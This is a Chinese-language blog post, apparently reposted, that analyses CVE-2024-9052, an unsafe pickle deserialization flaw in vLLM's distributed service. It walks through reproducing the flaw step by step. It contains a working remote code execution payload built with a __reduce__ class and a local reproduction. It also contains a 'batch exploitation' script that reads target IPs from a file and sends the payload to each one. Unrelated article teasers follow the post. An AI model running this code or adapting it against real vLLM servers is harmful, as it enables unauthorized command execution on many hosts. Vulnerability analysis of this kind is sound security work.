AI安全漏洞之VLLM反序列化漏洞分析与保姆级复现(附批量利用)

前期准备

环境需要:Linux(这里使用kali)、Anaconda

首先安装Anaconda

前言:最好使用linux,如果使用windows可能会产生各种报错(各种各种各种!!!),最好使用Anaconda,方便独立管理虚拟机

使用conda创建虚拟机、python要求3.10

conda create -n vllm_beam python=3.10 -y

启动该虚拟机

conda activate vllm_beam

安装vllm

pip3 install https://github.com/vllm-project/vllm/releases/download/v0.6.4.post1/vllm-0.6.4.post1+cu118-cp38-abi3-manylinux1_x86_64.whl --extra-index-url https://download.pytorch.org/whl/cu118 -i https://pypi.tuna.tsinghua.edu.cn/simple

在安装vllm的时候,虚拟机磁盘剩余空间最好大点,至少6个G如果不够可能会报错

No space left on device //设备上没有空间

可以找一个有足够空间的目录

然后执行命令 就可以重新安装了

export TMPDIR=/home

漏洞介绍

VLLM(Virtual Large Language Model)是一种旨在提升大型语言模型(LLM)推理效率的先进系统。其核心目标是通过降低计算成本和提升处理速度,来加快 LLM 在推理阶段的表现。传统的 LLM 推理通常需要消耗大量的计算资源和时间,特别是在硬件资源有限的环境中,性能瓶颈显得尤为突出。而 VLLM 采用了创新的架构设计,通过优化内存管理和计算流程,能够在不牺牲模型准确性的前提下,显著提高推理速度,使得推理过程变得更加高效和灵活。VLLM是被用于LLM推理和服务的工具库,因此与大模型密切相关

CVE编号:CVE-2024-9052

目前该CVE以及被保留,访问已经看不到了:NVD - CVE-2024-9052,不知道具体的原因

影响版本:(-∞, 0.6.4.post1) GitHub - vllm-project/vllm: A high-throughput and memory-efficient inference and serving engine for LLMs

也就是说目前是直接影响的全版本、通杀

漏洞原理

vllm开启分布式服务时,未对接收的序列化对象进行相应的校验、过滤,导致攻击者可以向vllm分布式服务发送恶意序列化对象造成RCE

漏洞方法如下

vllm.distributed.GroupCoordinator.recv_object(get_world_group(), src=0)

在recv_object方法中,使用了pickle.loads()对接收到的对象数据进行直接的反序列化 如图

pickle是python的一个进行序列号和反序列化的库,常见函数如下

//序列化 将Python对象转换成json字符串
pickle.dump()
pickle.dumps()
//反序列化 将json字符串转换成Python对象
pickle.load()
pickle.loads()

而模式方法会在一些特定的时候被执行,例如这里用到的__reduce__,使用pickle.loads()进行反序列化时,会自动调用魔术方法__reduce__,因此在该方法中直接返回执行恶意指令,造成RCE。于是构造以下恶意的类。

class payload:
    def __reduce__(self):
        return (__import__('os').system, ("touch /tmp/hacked",))

复现过程

首先本地启动一个vllm分布式服务(作为攻击目标),默认端口是29500,使用recv_object方法接收客户端发送过来的对象

from vllm.distributed import (ensure_model_parallel_initialized,
                              init_distributed_environment, get_world_group)
import vllm

init_distributed_environment(backend="gloo", distributed_init_method="tcp://0.0.0.0:29500", rank=1, world_size=2)
vllm.distributed.GroupCoordinator.recv_object(get_world_group(), src=0)

忽略警告

攻击机执行以下代码 发送恶意的序列化对象

from vllm.distributed import (ensure_model_parallel_initialized,
                              init_distributed_environment, get_world_group)
import vllm

class payload:
    def __reduce__(self):
        return (__import__('os').system, ("touch 1.txt",))

    
init_distributed_environment(backend="gloo", distributed_init_method="tcp://127.0.0.1:29500", rank=0, world_size=2)
vllm.distributed.GroupCoordinator.send_object(get_world_group(), obj=payload(), dst=1)

结果如下

批量漏洞利用脚步(后台回复20241213可获得)

from vllm.distributed import (ensure_model_parallel_initialized,
                              init_distributed_environment, get_world_group)
import vllm

class payload:
    def __reduce__(self):
        return (__import__('os').system, ("touch CVE-2024-9052.txt",))

def getip(file_path):
    ips = []
    with open(file_path, 'r') as file:
        for line in file:
            ip = line.strip()
            if ip:
                ips.append(ip)
    return ips

ips = getip("ips.txt")
for ip in ips:
    print(ip)
    target = "tcp://" + ip
    init_distributed_environment(backend="gloo", distributed_init_method=target, rank=0, world_size=2)
    vllm.distributed.GroupCoordinator.send_object(get_world_group(), obj=payload(), dst=1)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/936634.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

用梗营销来启动市场

目录 为什么梗营销适合初创公司 有效的梗营销技巧 梗不仅仅是有趣的图片,它们是包裹在幽默中的文化时刻。对于小企业家(以及大企业家),梗代表了一种强大且性价比高的市场推广方式。让我们分解一下为什么梗营销有效,以…

简单vue3前端打包部署到服务器,动态配置http请求头后端ip方法教程

vue3若依框架前端打包部署到服务器,需要部署到多个服务器上,每次打包会很麻烦,今天教大家一个动态配置请求头api的方法,部署后能动态获取(修改)对应服务器的请求ip 介绍两种方法,如有需要可以直接尝试步骤一&#xff…

Pyside6 --Qt设计师--简单了解各个控件的作用之:Item Views

目录 一、List View二、Tree View三、Table View四、Column View 一、List View 学习方法和Buttons一样,大家自己在qt设计师上面在属性编辑区进行相应的学习! 我就先紧着qt设计师的页面进行讲解,部分内容查自AI。 后面有什么好用的控件或者…

【vue2+Flowable工作流,审批流前端展示组件】

文章目录 概要整体架构流程技术细节小结 概要 vue2Flowable工作流,审批流前端展示组件。 本人已实现activiti工作流引入vue2, 如有需求请移步activiti工作流单独引入vue2方法, 全网最全!!! vue全局日期格式化成年月日 时分秒 如有需求请移步vuemomen…

uni-app多环境配置动态修改

前言 这篇文章主要介绍uniapp在Hbuilderx 中,通过工程化,区分不同环境、动态修改小程序appid以及自定义条件编译,解决代码发布和运行时手动切换问题。 背景 当我们使用uniapp开发同一个项目发布不同的环境二级路径不同时,这时候…

实现某海外大型车企(T)Cabin Wi-Fi 需求的概述

最近参与某海外大型车企(T)的 Wi-Fi 功能需求开发,T 提出了一个 Cabin Wi-Fi 的概念,首先我们先对 Cabin Wi-Fi 进行一个较全面的了解。 1. Cabin Wi-Fi 概念概述 Cabin Wi-Fi 通常指用于飞机客舱、火车车厢、豪华巴士或船舶上的无…

如何在 Ubuntu 22.04 上安装和使用 Rust 编程语言环境

简介 Rust 是一门由 Mozilla 开发的系统编程语言,专注于性能、可靠性和内存安全。它在没有垃圾收集的情况下实现了内存安全,这使其成为构建对性能要求苛刻的应用程序(如操作系统、游戏引擎和嵌入式系统)的理想选择。 接下来&…

MATLAB图卷积神经网络GCN处理分子数据集节点分类研究

全文链接:https://tecdat.cn/?p38570 本文主要探讨了如何利用图卷积网络(GCN)对图中的节点进行分类。介绍了相关的数据处理、模型构建、训练及测试等环节,通过对分子数据集的操作实践,展示了完整的节点分类流程&#…

简易CPU设计入门:本系统所写入的指令

项目代码下载 请大家首先准备好本项目所用的源代码。如果已经下载了,那就不用重复下载了。如果还没有下载,那么,请大家点击下方链接,来了解下载本项目的CPU源代码的方法。 下载本项目代码 准备好了项目源代码以后,我…

rabbitMq举例

新来个技术总监,把 RabbitMQ 讲的那叫一个透彻,佩服! 生产者 代码举例 public String sendMsg(final String exchangeName,final String routingKey,final String msg) {} /*** 发送消息* param exchangeName exchangeName* param routin…

对话小系统(智能图书助手)

对话小系统(智能图书助手) 文章说明核心代码效果展示源码下载 文章说明 现在GPT的功能十分强大,是否可以利用开源的接口来实现自己的智能小助手呢,我想到可以提供一些能力接口,然后对问询内容进行意图识别,…

数智读书笔记系列006 协同进化:人类与机器融合的未来

书名:协同进化:人类与机器融合的未来 作者:[美]爱德华阿什福德李 译者:李杨 出版时间:2022-06-01 ISBN:9787521741476 中信出版集团制作发行 爱德华・阿什福德・李(Edward Ashford Lee)是一位在计算机科学与工程领域颇具影响力的学者&am…

C# 探险之旅:第二十七节 - 类型class(属性) —— 给你的类穿上“属性”的外衣

嘿,探险家们!欢迎再次踏上我们的C#奇幻之旅。今天,我们要聊聊一个超级有趣的话题——类的“属性”。想象一下,如果我们要给类穿上一件酷炫的外衣,那属性就是这件外衣上的各种口袋和装饰,让类变得既实用又拉…

数据保护策略:如何保障重要信息的安全

一、什么是数据安全? 数据安全是保护数字信息免遭盗窃、未经授权的访问和恶意修改的过程。这是一个持续的过程,负责监督信息的收集、存储和传输。 机密性:保护数据免遭未授权方访问。 完整性:保护数据免遭未经授权的修改、损坏…

Mvc、Springmvc框架

一.Mvc: 1.概念: MVC它是一种设计理念。把程序按照指定的结构来划分: Model模型 、View视图 、Controller控制层; 结构图: 二.Springmvc: 1.概念: springmvc框架它是spring框架的一个分支。它是按照mvc架构思想设计…

【CSS in Depth 2 精译_078】12.6 调整字间距,提升可读性 + 12.7 本章小结

当前内容所在位置(可进入专栏查看其他译好的章节内容) 第四部分 视觉增强技术 ✔️【第 12 章 CSS 排版与间距】 ✔️ 12.1 间距设置 12.1.1 使用 em 还是 px12.1.2 对行高的深入思考12.1.3 行内元素的间距设置 12.2 Web 字体12.3 谷歌字体12.4 font-fac…

Python高性能web框架-FastApi教程:(2)路径操作装饰器方法

路径操作装饰器方法 1. fastapi支持的各种请求方式 app.get() app.post() app.put() app.patch() app.delete() app.options() app.head() app.trace()2. 定义不同请求方式的路由 # 定义GET请求的路由 app.get(/get) def get_test():return {method: get方法} app.get(/get)…

PostgreSQL 入门

下载与安装 部分国产数据库采用PostgreSQL作为基础进行研发,因此先尝试了解一下原始数据库情况。 PostgreSQL 简称 PG 官网:https://www.postgresql.org/ PostgreSQL “世界上最先进的开源关系型数据库” 这是官网上的口号。 PostgreSQL: The World…

Java-26 深入浅出 Spring - 实现简易Ioc-02 无IoC与AOP场景下实现业务

点一下关注吧!!!非常感谢!!持续更新!!! 大数据篇正在更新!https://blog.csdn.net/w776341482/category_12713819.html 目前已经更新到了: MyBatis&#xff…

工作流审批功能全解析:提升流程效率的关键要素

1. 引言 在当今数字化时代,企业与组织的运营效率在很大程度上依赖于高效、精准的工作流审批系统。随着业务日益复杂且多样化,审批流程变得愈加细致和灵活。一个完善的工作流审批系统不仅能确保任务在组织内部有序流转、协调各方资源,还能实现…